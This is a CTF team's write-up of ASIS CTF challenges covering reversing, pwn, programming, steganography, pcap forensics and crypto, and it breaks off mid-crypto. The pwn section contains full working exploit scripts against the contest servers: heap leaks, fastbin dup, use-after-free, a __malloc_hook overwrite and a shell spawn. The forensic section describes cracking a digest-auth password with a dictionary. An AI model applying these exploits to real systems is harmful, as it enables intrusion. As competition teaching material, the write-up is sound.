`>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]` Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}` According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}` The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107) Just try to execute the given binary. ```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again``` So it seems like we need a secret key? Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary. I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun` I try to input those strings ```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}``` It seems like they are all fake flag. Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag. Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position. ![](https://i.imgur.com/Riza8hO.png) Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}` There is another way to capture the flag. In this way, you should find out the real secret key. Practically, you need to locate the key-checking function. Track those fake key. you will find out the key-checking function. It is located at `sub_83c0` Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107) In this challenge you will get a binary and a encrypted flag. This chllenge is not difficult at all. The binary name is "b64pack". You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==``` There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==` We still need to reverse the binary. You can divide this binary into three part. The first part:`input=randomstr+input+flag` The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")``` Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn ### Cat (kevin47) * I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address ```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('178.62.40.102', 6000) def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00')) def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True) def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0')) create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n') create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc) delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack) delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary) # switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1) edit(0, 'b', 'b', 2, 'n')delete(1) fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00') # puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1) # reset fastbindelete(4)delete(0) create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag') #embed()r.interactive() # ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}``` ### Just_sort (kevin47) * Simple overflow and UAF problem ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' r = remote('159.65.125.233', 6005) def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s) def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s) def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True) def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s) def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0) r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}``` ### message_me (kevin47) * UAF* hijack __malloc_hook with fastbin dup attack ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003) def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content) def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx)) def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True) def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx)) add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc) # fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic)) # trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100') r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}``` ### Tinypwn (kevin47) * Use the syscall execveat ```python2#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009) r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18) r.interactive() # ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}``` ## PPC ### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*- from sage.all import *from pwn import * def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l r = remote('37.139.22.174', 11740) r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s)) stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1))) print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break r.interactive()``` ### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool! ```python#!/usr/bin/env python import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp from pwn import * host = '37.139.22.174'port = 56653 def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r if __name__ == '__main__': import sys r = my_remote(host, port, show=True) while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k)) if k == 9: break r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}` ### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point. Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used. Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import * def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry while True: r.recvuntil('k = ') k = int(r.recvline()[:-1]) m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry) cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1) r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break``` FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}` ## misc ### Plastic (sces60107) There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"``` You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==` But you cannot just use base64 decoder. There is something you need to do first. You remove every `` in the string. Then, you can use base64 decode. After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot ``` The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}` ## forensic ### Trashy Or Classy (sces60107 bookgin) In this forensic challenge you will get a pcap file. In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/` It's a compilicated challenge. I will try to make a long story short. This challenge can be divided into three steps. #### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx` Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync) You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx` There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr` But you need the username and password for the authentication. #### second step The username can be found in the pcap file. It's `admin` But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack. It's won't take too much time to crack the password. Finally, the password is `rainbow` #### third step Now you can login and download the `flag.caidx`. But you still cannot list `flag.castr` You may need to install `casync` Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` You can download all the chunk file in `flag.castr` now. Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png``` The flaf is right here.![](https://i.imgur.com/SSoTmJm.png) The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}` ### Tokyo (sces60107) Without the hint, this challenge is probably the most guessing challenge in this CTF. We will get a binary, but it can't be recognized by any tools. After some investigation, I got three clues from the binary. First, there is a header at the begining of this binary. And the header begin with `KC\n` Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter. Gather all the printable letter. It seems like you can reconstruct the flag from it in some order. `!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua` Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary. Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89. These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3. That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet` Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database `KC\n` is the magic signatrure of kyoto cabinet database file. According the header, we can also find out that it is a hashdatabase. After understanding the mechanism of kypto cabinet database, the end of the database is the record section. Those 3-byte-long blocks is buckets. ![](https://i.imgur.com/WcskOZg.png) So, the last question is what the key is. According to record section, we will know the key size which is 3 byte long. After several attempts, I found out the keys of the flag go from "000" to "088" It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:] temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3) t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp) flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2 indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007) flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3``` This code is not a clean code. I'm sorry about that. By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}` ## crypto ### the_early_school (shw)```pythonfrom Crypto.Util.number import * def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:] for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}` ### Iran (shw and sasdf) #### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy getcontext().prec = 1000t = 